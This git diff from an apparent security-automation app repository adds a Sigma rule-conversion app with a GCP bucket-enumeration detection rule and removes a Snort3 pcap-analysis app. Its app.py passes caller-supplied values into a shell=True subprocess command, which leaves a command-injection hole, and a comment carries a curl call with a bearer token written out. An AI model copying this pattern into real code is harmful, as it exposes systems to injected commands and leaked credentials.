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iIp9UlFtOzLTzr9qOMyx5oqUiWcnkcei3xPsBWv2qgqrncIaCiiMs8zt1rR7z1AdJXQ2jNP02nLNFQQ4fJ6c8uOMjzzPd0DsUPeK8U0Wo09p3Qc1adFrK6vqRK8f22bT3ngPv7rNNGF6RFSV2JEREREREREREREREREREREWHuGp9P0O8Kq80Mbm8C3yoJHgOK1K+7VLPTtcy1081fL0OcPJx+s8T6lsxUc8xwxhKjqq70VICZpQPnk+Q2qQKmaKCB800jI42DLnvdgNHWSok2g7RDVsktdgkc2F3my1Y4F46QzqHb6lp+ptU3nUMn7/U4gBy2ni82MeHSe05WEVkoLG2Ih8+08uHuue3zTB9U0w0mWt4nifDl9fBEReo2PkkEcbHPe44DWjJPcArCSAqQAScBeVeWe2V13r2UVvp3TzP6ByA6yegdq23S2zW83QsnuINtpTx88ZlcOxvR4+pS3p2wWyw0fya20wiB9N54veetx6VC116igBbF2ndFbbNolU1jhJUDUZ1PgOHiVi9A6QpNNUe87E1fKPpp8cB+FvU33ra0RU+WV8zy95ySuq0tLFSRCGEYaEREXmthERERERERERERERERERERYa8aYsV3ya+100rz/ADA3df8AmGCtUr9k9kmJNJW1tL2FwkHtGfapERbMNZPD+h5Cjqq0UNUczRAnnjb5jaonm2QSZ+hvrSPx03wcvUGyA/z77+Sm+LlKyLa/GKz+fQfZR35UtOc/C6n7qP7fspsEDg6qnrawjmHSBjT4NGfatstFhtNoZu223U1N1uYzzj3u5rKItSarnm/yPJUlS2qipDmGIA88bfPeqNGBhVRFrqQREREREREREREREREREREREREREREREREREREREREREREREREREREREREX/9k= diff --git a/sigma/1.1.0/requirements.txt b/sigma/1.1.0/requirements.txt new file mode 100644 index 00000000..4bcb3b4d --- /dev/null +++ b/sigma/1.1.0/requirements.txt @@ -0,0 +1,3 @@ +requests==2.31.0 +sigma-cli==1.0.0 +certifi==2024.2.2 diff --git a/sigma/1.1.0/src/app.py b/sigma/1.1.0/src/app.py new file mode 100644 index 00000000..3093c9b7 --- /dev/null +++ b/sigma/1.1.0/src/app.py @@ -0,0 +1,107 @@ +import os +import socket +import asyncio +import time +import random +import json +import subprocess +import yaml +from yaml import SafeLoader + +from walkoff_app_sdk.app_base import AppBase + +# Make file sample with namespace yara: +## curl http://localhost:5001/api/v1/files/create -H "Authorization: Bearer 09627dcb-7e2a-4843-819b-417d268ff840" -d '{"filename": "HelloWorld.yml", "org_id": "11f67b76-6051-4425-b0d6-be23daac6d12", "workflow_id": "global", "namespace": "sigma"}' + +# 1. Generate the api.yaml based on downloaded files +# 2. Add a way to choose the rule and the target platform for it +# 3. Add the possibility of translating rules back and forth + +# 4. Make it so you can start with Mitre Att&ck techniques +# and automatically get the right rules set up with your tools :O +class Sigma(AppBase): + __version__ = "1.1.0" + app_name = "Sigma" # this needs to match "name" in api.yaml + + def __init__(self, redis, logger, console_logger=None): + """ + Each app should have this __init__ to set up Redis and logging. + :param redis: + :param logger: + :param console_logger: + """ + super().__init__(redis, logger, console_logger) + + def get_searches(self, backend, format, shuffle_category): + files = self.get_file_namespace(shuffle_category) + self.logger.info(f"Files: {files}") + + # This part should be in the SDK + basedir = "rules" + os.mkdir(basedir) + for member in files.namelist(): + filename = os.path.basename(member) + if not filename: + continue + + self.logger.info("File: %s" % member) + source = files.open(member) + with open("%s/%s" % (basedir, source.name), "wb+") as tmp: + filedata = source.read() + self.logger.info("Filedata (%s): %s" % (source.name, filedata)) + tmp.write(filedata) + + self.logger.info(f"Dir: {os.listdir(basedir)}") + + rule = shuffle_category + #filename = "file.yaml" + #with open(filename, "w+") as tmp: + # tmp.write(rule) + + code = "sigma convert --without-pipeline -t %s" % backend + #if len(format) > 0: + if format: + if "list" in format: + code += "--list" + else: + code += " -f %s" % format + + code += " rules/*" + self.logger.info("Code: %s" %code) + print(code) + print() + process = subprocess.Popen( + code, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + shell=True, # nosec + ) + stdout = process.communicate() + #self.logger.info("Stdout : %s" % stdout) + item = "" + if len(stdout[0]) > 0: + print("Succesfully ran bash!") + item = stdout[0] + #self.logger.info("Item0 : %s" % item) + else: + print("FAILED to run bash: ", stdout[1]) + item = stdout[1] + + try: + ret = item.decode("utf-8") + #self.logger.info("Ret : %s" % ret) + #ret = print("{rule: "+ item +"}") + return ret + except Exception: + #json_item = '{"rule":"'+item+'"}' + #json_convert = json.dumps(json_item, indent=3) + #json_return = json.loads(json_convert) + #return json_return + return item + + #return '{rule: '+ item + '}' + return item + +if __name__ == "__main__": + Sigma.run() diff --git a/sigma/1.1.0/src/file.yaml b/sigma/1.1.0/src/file.yaml new file mode 100644 index 00000000..e7f8fc61 --- /dev/null +++ b/sigma/1.1.0/src/file.yaml @@ -0,0 +1,23 @@ +title: Google Cloud Storage Buckets Enumeration +id: e2feb918-4e77-4608-9697-990a1aaf74c3 +description: Detects when storage bucket is enumerated in Google Cloud. +author: Austin Songer @austinsonger +status: experimental +date: 2021/08/14 +references: + - https://cloud.google.com/storage/docs/json_api/v1/buckets +logsource: + product: gcp + service: gcp.audit +detection: + selection: + gcp.audit.method_name: + - storage.buckets.list + - storage.buckets.listChannels + condition: selection +level: low +tags: + - attack.discovery +falsepositives: + - Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. + - Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule. diff --git a/snort3/1.0.0/Dockerfile b/snort3/1.0.0/Dockerfile deleted file mode 100644 index 24d0b4fd..00000000 --- a/snort3/1.0.0/Dockerfile +++ /dev/null @@ -1,91 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -FROM base - -# Install all alpine build tools needed for our pip installs -RUN echo 'https://dl-cdn.alpinelinux.org/alpine/edge/community' >> /etc/apk/repositories && \ - apk add --no-cache --update \ - libffi \ - abuild \ - build-base \ - cmake \ - flex \ - linux-headers \ - # Library - libffi-dev \ - musl-dev \ - libunwind-dev \ - libpcap-dev \ - libdnet-dev \ - hwloc-dev \ - luajit-dev \ - openssl-dev \ - pcre-dev \ - libtirpc-dev \ - flatbuffers-dev \ - vectorscan-dev \ - flex-dev - -ENV SRC_HOME=/snort_src -WORKDIR ${SRC_HOME} - -ARG SAFEC_VER=02092020 -ADD https://github.com/rurban/safeclib/releases/download/v${SAFEC_VER}/libsafec-${SAFEC_VER}.tar.gz ${SRC_HOME}/libsafec-${SAFEC_VER}.tar -ARG GPERF_VER=2.9.1 -ADD https://github.com/gperftools/gperftools/releases/download/gperftools-${GPERF_VER}/gperftools-${GPERF_VER}.tar.gz ${SRC_HOME}/gperftools-${GPERF_VER}.tar -ARG DAQ_VER=3.0.2 -ADD https://github.com/snort3/libdaq/releases/download/v${DAQ_VER}/libdaq-${DAQ_VER}.tar.gz $SRC_HOME/libdaq-${DAQ_VER}.tar -ARG SNORT_VER=3.1.3.0 -ADD https://github.com/snort3/snort3/archive/${SNORT_VER}.tar.gz ${SRC_HOME}/snort3-${SNORT_VER}.tar - -RUN echo "Build libsafec" && \ - tar -xzvf libsafec-${SAFEC_VER}.tar && \ - cd libsafec-${SAFEC_VER}.0-g6d921f && \ - ./configure && \ - make -j 4 && \ - make install && \ - echo "Build gperftools" && \ - cd ${SRC_HOME} && \ - tar -xvf gperftools-$GPERF_VER.tar && \ - cd ${SRC_HOME}/gperftools-$GPERF_VER && \ - ./configure && \ - make -j 4 && \ - make install && \ - echo "Build libdaq" && \ - cd ${SRC_HOME} && \ - tar xvf libdaq-${DAQ_VER}.tar && \ - cd ${SRC_HOME}/libdaq-${DAQ_VER} && \ - ./configure && \ - make -j 4 && \ - make install && \ - echo "Build Snort3" && \ - cd ${SRC_HOME} && \ - tar xvf snort3-${SNORT_VER}.tar && \ - cd ${SRC_HOME}/snort3-${SNORT_VER} && \ - ./configure_cmake.sh --prefix=/usr/local --enable-tcmalloc && \ - cd build && \ - make -j 4 && \ - make install && \ - # Cleanup compilation - cd / && \ - rm -rf ${SRC_HOME} && \ - apk del \ - build-base \ - cmake -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install && \ - mkdir /rules -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --no-cache-dir -r /requirements.txt - -RUN addgroup snort3 && \ - adduser -h /app -G snort3 -D snort3 -COPY src /app -RUN chown -R snort3:snort3 /app && \ - chmod 755 /app/app.py -USER snort3 -WORKDIR /app - -CMD ["python", "app.py", "--log-level", "DEBUG"] diff --git a/snort3/1.0.0/api.yaml b/snort3/1.0.0/api.yaml deleted file mode 100644 index ed9b495c..00000000 --- a/snort3/1.0.0/api.yaml +++ /dev/null @@ -1,80 +0,0 @@ ---- -app_version: 1.0.0 -name: snort3 -description: Analyzes pcap files based on set rules -tags: - - Intel - - Malware - - File check -categories: - - Intel -contact_info: - name: "@synack3" - url: https://gitlab.com/synack3 - email: swdonline@hotmail.com -actions: - - name: simple_analyze_file - description: Runs a custom snort3 config & rules file against a pcap file - parameters: - - name: config_file - # yamllint disable-line rule:line-length - description: File ID of a snort.lua file (Default use software-provided snort.lua) - required: false - multiline: false - example: 2ff4c409-f66a-4bdc-bede-5dd5969a8c55 - schema: - type: string - - name: rules_file - description: File ID of the .rules file. - required: true - multiline: false - example: 2ff4c409-f66a-4bdc-bede-5dd5969a8c55 - schema: - type: string - - name: pcap_file - description: File ID of the packet capture to analyze - required: true - multiline: false - example: 2ff4c409-f66a-4bdc-bede-5dd5969a8c55 - schema: - type: string - returns: - schema: - type: string - - name: version_check - description: Reports the version of snort installed - returns: - schema: - type: string - - name: custom_rule_scan - # yamllint disable-line rule:line-length - description: Use a snort3 rule provided as an execution argument to scan a pcap file. - parameters: - - name: config_file - # yamllint disable-line rule:line-length - description: File ID of a snort.lua file (Default use software-provided snort.lua) - required: false - multiline: false - example: 2ff4c409-f66a-4bdc-bede-5dd5969a8c55 - schema: - type: string - - name: custom_rule - description: One or more snort3 rules to leverage. - required: true - multiline: false - # yamllint disable-line rule:line-length - example: alert tcp any any -> any any (msg:"TCP Packet Found"; classtype:foo; sid:100000) - schema: - type: string - - name: pcap_file - description: File ID of the packet capture to analyze - required: true - multiline: false - example: 2ff4c409-f66a-4bdc-bede-5dd5969a8c55 - schema: - type: string - returns: - schema: - type: string -# yamllint disable-line rule:line-length -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK4AAACXCAMAAAC7p5C5AAApKnpUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAHjarZxZdhw3kEX/sQovAfOwHIzn9A56+X0fskiRFCV5aMsW6WJVJhIR8YYAQLP/93+O+euvv5x1zZqYSs0tZ8s/scXmO99U+/zT7t/Oxvv3/afv18/c59dNK68feF4KfA3P/5b+en/n9fTjA2/3cOPz66a+fuLr60Lu/cL3n6A76/v1cZC87p/XXXwb0WuoudXycajjdaH5euMdyuu/+D6s54v+33x6oTBLK3Gj4P0OLtj7d31GEPSfC52vgb9diLyP9/B9CsnwJQb3uhgT8unx3r5a+3GCPk3y23fm6+yv/f3k+/56R/gyl/k1R3zz7Q9c+vJ6eL+//3jj8D4i//kHrfj80+O8/jtn1XP283Q9ZmY0vzLqTvbbDOmNgykP92OZP4X/Et+X+6fxp9puJyFfdtrBn+ma88z4MS665bo7bt+v002GGP32ha/eTwKl12oovvkZFKeoP+74ElpYoRLL6bchlDH497G4e9927zdd5c7L8VbvuJjjI7/8Y373w3/yx5wzNUVOk0no3RNgr7xmGIqc/uZdBMSdV9zSneC3P6/w2w+JRaoSwXSnufKA3Y7nEiO5H7kVbpwD70t8fUrImbJeF2CKuHdiMC4QAZtdSC47W7wvzjGPlQB1Ru6pjUEEXEp+MUgfQ8jeFF+97s1nirvv9clnr5fBJgKRQg6F2LTQCVaMifwpsZJDnRKLKaWcSqomtdRzyDGnnHPJArleQokllVxKqaWVXkONNdVcS6211d58C2BgarmVVltrvXvTuVHnWp33d14ZfoQRRxp5lFFHG32SPjPONPMss842+/IrLGBi5VVWXW317cwGKXbcaedddt1t90OunXDiSSefcuppp79H7RXVn/78g6i5V9T8jZTeV96jxqumlLdLOMFJUsyImI+OiBdFgIT2ipmtLkavyClmtnmKInkGmRQbs5wiRgjjdj4d9x67H5H7W3Ezqf6tuPk/Rc4odP8fkTOE7ue4fRO1JZ6bN2JPFWpObaD6dimboi21hVSXP9u7NNdYLZ0wgyvMwBqEpLQ5GOnJnasfPljjKjOWc6KLrZx9+MSxpjOAHRpRbnEMvjJCYt6ptNJGsiGvNpYuYFs/teq7rSAwyMM7t+Oa02cztg/6Ybc9coEy+71ryiAa2fC6yusarysAOB+vcS9hzusKPIOu8fUKfxjHj2GYz+MAGEJzZFHxs/fC/G/fSx7CkDpc3JGHnjzwGD5z27fpokQ+zRiXHi4fzZLzc26ouc3pwmirahhkX57dMmpebG6Tb2mhi1KZxgei5/1oifdunqiH7HYMB3VR+OvEthpsWWePmxTKY67oT0mU9uonb7dLcDkacq+6mYtru4ZVy07JzbV9WiXEU3uofZWkyqLU8krAddxhjZ7K6KFUd2Kl/ILZbThetn6OSr26lteqe7Q91h4zlLSXz2UF0mT7mTNaJdZ5LJNV0tkp9gCkokY6A0XNeJ79H0XpS7IEM8k4P9fsddqTwvJ9zdQpfJHxCFulWHchSvv87lLG/SbdZh3Sp5NgEP55BnS9G7hAlZ211xi9rNi6LfsYO/79A6XUFJBG/hRTWlKoM4+2SDwhcwH/gA/ypWRg43eX+vE85qcHSjVEYsw1zodrfC0k9/U5zMcH+f4avxvHj2GY/zaOH8Mw/20cP4Zh/ts4fgzD/GkchaBaiiWFvkj9ekbskIIKgnpw0MyaJEI0lCuEtyeUALZOPnjvP7ibhOszBnD43oR6b3b7tZYbcOA8elNafF2mOD65GDjw0Mfy5QI4hPGCcBkrfx/0DcZlG7qvXeSbXORfHEMwnWHuWeI8c1EMQVfjOQEzH+909pSP735Qcggs0GyMEc7kxszO9jYhepsN4FF1Cag7tueNrek7zRlI9SR9wMRnXc711pjJAq+n1XsXN45Y4cg1QEnmwETxD1PHCAszzQ+tyn36BmIBsykyg8h30JnLr9QQ30BaTZ4JnIxqzuSaHwb4uhMKYtYUgbPsIfMMeh4Gf2UsOn+CdJT/KocILEFxb3kwttwRFHPsbBziMjA5RLC5s/zoZ/BCDcfpeUEO3gzTj8Hzt7p1154RHuD0Sn6n7iceY5qBuFiTj23CX/hwqQiIuILElKgAe1hOn9mdUHZLg1mwO67W8AmHORuop1i9AQqRVQGq2i3urGfHM/DvXhVuAs8jAXMlpdNiYWLnShsM8ieXsQv5glDIw5lEvnrEdR61THSP54KIDjRJGEspWDcJQHxQ06mjqjN6azJkJfcUXUzCUadhvN2u0jyy5Ex3ytrkxWyUhvI4HCiXZ4NF9kn2OBBx4YZcJ3/7HmVzzcysmoqFyyRAzAUnDiHWfpIb5HiflMvyCE50khuxBCZh5MYL5VWXJ3Vo0xc7l4Gx+NCclCO8yc3GnIPwzb1FKU39iWkdImrXtQOBVLQdzxWRcF20l87g0WDuibIiIGi+hvuTTD0MFtM3SKGMejzQEcHb4ECHOUailE4m9hmCpPhIim6m0CCsGfc6fExvlL1PmQTzAw6fsYEjDM+dGQa3GPBFT9zT24lSafAfj2UyNcK08BnIdyfRiOQaVYlmkRhIHhHYBkPqt9RTCP5V/fbDV/P6ZgvtSpEArNwb/CNgJ6aRCtpyCftg2ia9zusDQwvejkxA3QNORugEdL3wCdi4AKWeyheI+oXGtPMOqhvsngZMOvC0k8KfsCdedDWqKlLQexAvTVMHl8pMBGNutUkQwiVNinlQuMMgUoZNY0ZygMGvxc86YntCxqhIGL2iAHgBGAU4yIgt/UxC7EKWR/DbDZy4YQApjAyB70MhkZDzpHYQZxRIRLq30dqsFel1CAXCao6QBllfKfyEspQ7qM0gB3EcDStzJmSxGmLuTJHKSWOoEtG3OVU7Gr4K8KSomSdiCIChvgrp7dNA+iFQgZyDOKpnAcMaXsQ3ICJKZnTMQjxb0B4HqFALQNWZVeYCY4U05LopNzOzbLOl1hPwI+HYSUcLBN5gNDJ8YIigKQURcjtxApEYOL8Rr8znoPAKyv8RoqeCxGjfwx0jhpER7iY4zZuRFL+kHBHfmxKgFDSsBlK1CoIAKscb5HJCluciU5XRkmA1thp8KlXlMmdHAsZFFTsmDvSHRB31EZgDZlBcFXBIhlJB/RYNmGuREcfOIDzDH7nrXbN11OJesBZgzIQwax5QGnGONeCOxphhkQRbBfVipsDVMQDNX/SLKxem2YEqkqgbGofwiRNOsJB7lEbMOw7Mdy3BkEYRBgLrXDtIvkiCEj+7564z7AzX1QxyW8G1BQAs3Li498AkkinQdh94a0MOU2lolljR9VBo5s2MBYDEQQ/vyNUtPAYcYQQoxlGMoaaF0YN1iHWEYxhRnCUfWHwOf/PeKjx4JKKSNqhYFg8DwIB6+MhC2vcVUuMd1HFz5GqOSH9DmmBKGeFudcF8B/Css1Id3GJinfZmskFJkhD/AXTsgUfCKRBrICdVkgnAp/phvI4aQ/iMUC4EjmIBUnCsYeCCkJYRY3Mddj5RR7lPchkHxnxTfztROmR2IFwYPWjLKUvyg4Nq5375+o5vsM0L4VBkL4wzmQIU4aMVr6mR1Xk8IZQFrLi8IrBPalLIvwa4ghU9s4TXXcrzXSJ59TV6eXTw1NWXNAOVeRRL4S1BJ2CeBSIkKLxW5rl1rGJf+CNY/5RgUQLFW+xIplLLgIldIOdHDjkzC6NGgJ0CItGg+W2AE2SPguIbci/0YqEObgkPLrugsllq9hR9ULQwfpQ6mUqmlVBPFogQWliEOrfKz4o/7BQjOkzpU6kUbI5KrKJiN8LDURiVnEKH5GV55gHv8vdg5i1qRKIrofaweEmkztxkaM4yAE01gA1CAg0UTkZ5nEJaejVkFhAuHGf6fDOxNRRSRY87ZUefjhJwyMlgfZO0VMP9xYNuOaCc9ESqiIeTWNtCx65Ta0OCDVJCtYAbSVMVs76QrgOWBOlmCCo5NAkQFhzBl0AG3UUV3edArhiCDVbA/oFIJ1gaFMYo80rlcq2BPigrvCeD2bUwEb0T5g4xDhBkrxjm4s2Y4yARQSmv/rBuwtEnLnWQTRM45f9iQy/sCNb5OHkYUhPQWVhMQAvRPsIwFcmDpEA1K0Ea3LPz6cBKZ8aDfLckJ6IZ7i2AKzjHpS4/oKioY8dn1qqGkHCjzeQSXceYeXbkXgx+12jVHmG+yd7cn95JdBlApwYivkD1oLSdZxvcBW5iC0rbgkZcxfjnNvzIxceBREiV0UNYiycMVDjKCGZRN88VUnSEDCzBItJUhBKRQGbGBI+iHyhotcNU3deA55nIgb6QVBvxO+11LQjcPUEXFIMzp2E+SAmuV95f5UV3mFS0yBaVV3vfURhqnTwwWt8h4lxigjP4TTab1U5fVg/efw8mCakJZyLHECQohY5fSVcPOqlUAzQqdVB4GEW+5Xk6JKkOq6QY3mJS9scx+VYa6YMMq02aJgF6CxaZg/IHjAFZJ3+BlEKrOBQmKo5cgWzc4K4dOT6Q/pgRVA7FFHJoBOwIAnh60/Ks0jQwME5s3Q9Bp5to8l6yGFmsBguAJY0gJgdvO3gB205knhi8WYeqRSEcLodchxqp8QyGM1ZEigWY7cS4XmM204rlpidUXD3WBh8prJAkmgbcJkP0RkqCZC5aysOeklaTm0hBTgZHeTW5gjynXaPCXXwK7gbGjrdII0N1Yi+D9Hmf8FdKLqBBO8OCvYQUvdZgHWOh6Cw6guoGqxbOb1E2TU7boSGDOgnINsRPWceB6qkFiZ4KfTMeNAXufJFsb8LrG7VeJdg/vCAcYuLBZejfgrReTdI6h+Qteex6Rb3zQK4SWHx7zOtgYjGyy4jyFkKJzKP0QNaC0JppHGAowTnkieyw88gFoKyic0n4yosAHg9LLSHFezGkZk2Y/CXnozbnldqpwj9y2e1JPxx12RtxxOxUhli4MACNkHV9B+TANJSw+qibuMic+gPPoGMm4ndVOI2cJv2EvMhtVFlNFl3EhbgDqgS2QewCPZiazoV4vPp2b+c3YHMGtZGlKmCbRcHzbENdf3W/qeFF+mEA1B/F25FH1BqF3TJQhAAD36GsPjasKAHEhILmh0nlL+AkFt445FkCUxkECJPBl4hdxwpmEWcNU7LVDWaV6oE/jyR2JNy3k7SiaBvxlyg8ZPBykPJApSKazlKHnahCh0yLljU6VnXAvMLJ02wv1AKqGVQk9ToTXWQbhzwt0dnqdXePoc6wCJ4GWYLI5DFCKIh0wszTqjOM8sNzTIlmsRt+i/RxrjvUzIAKMsxM4juLhjzqbm+1GgZh8SQK3gRztUlB3oVYxENj5+LTukceYrRGhLCpQjjLyy23YNSHIe0xV0xFwqn9ek3iSBXBPrzoIkjoyVmYDNpUt0ZuJ4S4yD4IE3WGQWWUTtKwAK7cEJZENDN3iMW8+tlrp0ul0Iy68Mx25EJB2h7CzMTA9pbURXJbxJgKoMuk2IUaAxFIHUfFAWBITYQywtYzQrQLIGmCHPaiWDP6RfJJiOZB4QUfVIup4IY2IMwaBkF6JCO1tvpHYcBcUKDUhDd4PQRcm0GNlI4q0bI1Myk/YGEKLMU5pUVAGzALCQ/KDRY1O/SAzDgjYNxGAghFnC1vsSgPJp+KeMCHi7xEqP3dV++8i0azKp6JCzZDTDK91ElDR8LUIaPO1Fy14ED2cHJzkI7Mx20AQeVoshIhWZMi84b7gMM7uccbltYfUD3qt0CYXU02cJ3Z2Fo63+Aq+GblNdbT5gPzJUbhag96bUwcWpb5oGbyqbDYUtsIA7b6nkwH7oYnp2S61h8Zs2MiqZ4iV26WP+Qs+hGKHuVqW6YTlIGtUoKvKaoUGJeLPgmP1V+lBo6jzrc6qqgYQBffDwoCBniKmHtADyyEIxRAgVsEjio6EWLuogIFiyErGVDeCFYABvAfgGsKuIpbAfWQkA7uYmbRQMGjBpkytCr5ksCUFWQidXWwbJ8Z5R6ZbMTgnABb88o4RDlPuknmhQRn1iTTOzIKrECtRlwoOIRC9NmFltSojTF0jP0+ey6Gh6kBUSHOjLSHCC2auGw4xwFNTYQH6Q9YEkoYiwrCtYq0ivZBqMuC/GlA2jCOMlPb1knzo1m4w+3OY76tzCUqjbyh0PJJasvDmQj+TPwAuhx99I+QNOqEJRkMnMilYaQRgQ+8AkcEHMmt8yihi9oALCASgVkPWN916W3MkQ3jBswTEabwBUbQchYjBNkTiucuHSB7ANHS0WyZTCvqozBBZzAu5IYNUmyrAECuAb2qDyiO5ExUAw+HA1JMyc7VEbdNa05JVCn3RNZcWyrHvpqRySIjeSxkCLhEfkLb6ouq0CUecM4KmtqD6L0WkzYI4bsQKACe1SJe1A4Enk99dZQzJKrFaW4fY47wAHOitVF+imeUSaYc00B/pZgRvVd8NNcuRJgHC5Kb5GBUS1mtZWKIbsIhktsrOHUpYeUHWr6XNcHwhHhSsjz5qb0GWJy4KNxTBzSE7u5NRZ6dJAPCp9mGGiYulTfKZVp1Mo4z1HvlCYg0taIO3QCTGQaZSNpFsASpBrKiH0WzDqkKUMmk7r2KeiZqbjHZQeYGa3qCGv6pqvgHOcDsE2+ie7RsSogPuDd2pb6wuKjTuDrEERtq4ICqBpo5WvGDxaquzmShJSrGmu+3Ig21aUn4QBVk8VYTsBGthVHYKWqHDl+bQaA+sIEzDurvqg2imE0chHPYcbsRIVg25pDy56Zq/XFlJwLeUIn0cjfHJu1WaDKM6At8AVABB0Ate08lu5qmmj9ikApKH6VMoQJuC/xYWhWVaDQOLIqwMdUtx7edrRjLnK362BCBrAjVdNSIrzvgaYH+Ir9DiT2LdRgcPC31QiRJ/IXDQMMUABb4pFoIETqoc31589y0Fwdkck3PKE+NAi5OSI6HbkYtodptbVqI6OQUZgSBvwR/uyQCj3YnO7Yb2qCyg31WdptmB08IUhB3NRAg80xOFQaMk21agUfTUgMoKh8PspMhIxycpi8FGQsKDNuM3JRZ1iIXwzUS0FBUgMwQvyiaAa5SIbe7UUuhkpF2AII7zB8CW8LFliT5cgBsME92chotyB+uwOCpCi5Z9WwbmmxDXRz191B6WHqvRj64i5ajoPdBFDg0XV9alkdDqv8WUSBQEgxtn3pzA+XJJ6P2klDKhIPI4STVp8Vlee1cnAduWUAv+D4M0BkBUaSod5AyednuUFaWPXDltR55VxS0Lttuz0urCihKgGYfZVQ6Rs25C6ZYRiaDB3UeKbDBoh3UngOd4S2kqTBdorLiDyhWpZlaH0WC6TTjCTy33uRW0ESBE8Sdusr2SuZ4dvQdY+I24y1ODTOcd4KaPEqkYc6dZJfB/lAfS9iOAYzxmiOrFSXIFuZrDbIk57y6IkGa9w0Z/VtfMec0s4GpG7QuzG5yP2jvWHPUUh9aiMzR0JqWpXGLTAPqQqumEsBJZYgCBfvSMHyoBLdE38B9V/rCiFrywA6NMu5S5e5aToWNUSWkONmu3jG2HBwBgbjyNIAJ+JaZfSszQaxxTZmsYRrxudEJOyjE5AfqCghlABmgAUZgShRduAuKHZsFngFUyUFWvD8OrRzAM/UlJFV+FSF3jgqn8VnAaWC1nLCQa8v9VAhyIukB2aLFGgQPJinc1iIwl1OPWgGgDEizC2Ja5QEs5UwgdclcpBMiMJkIY3BPsTDZA7UW9JeV5q2xEDqCBll1UhgUyrDBUVaQ4xh8PtQW5DjXjqZGBoxmn+qU9hOUu4CHtqtRKFbrvsyHerTaorIrvMVzWlmoIbLFVwNpPBp4FcOQSdHWDrEJbA/IoimZ7QG2D6Yb36M2KMoW98Z1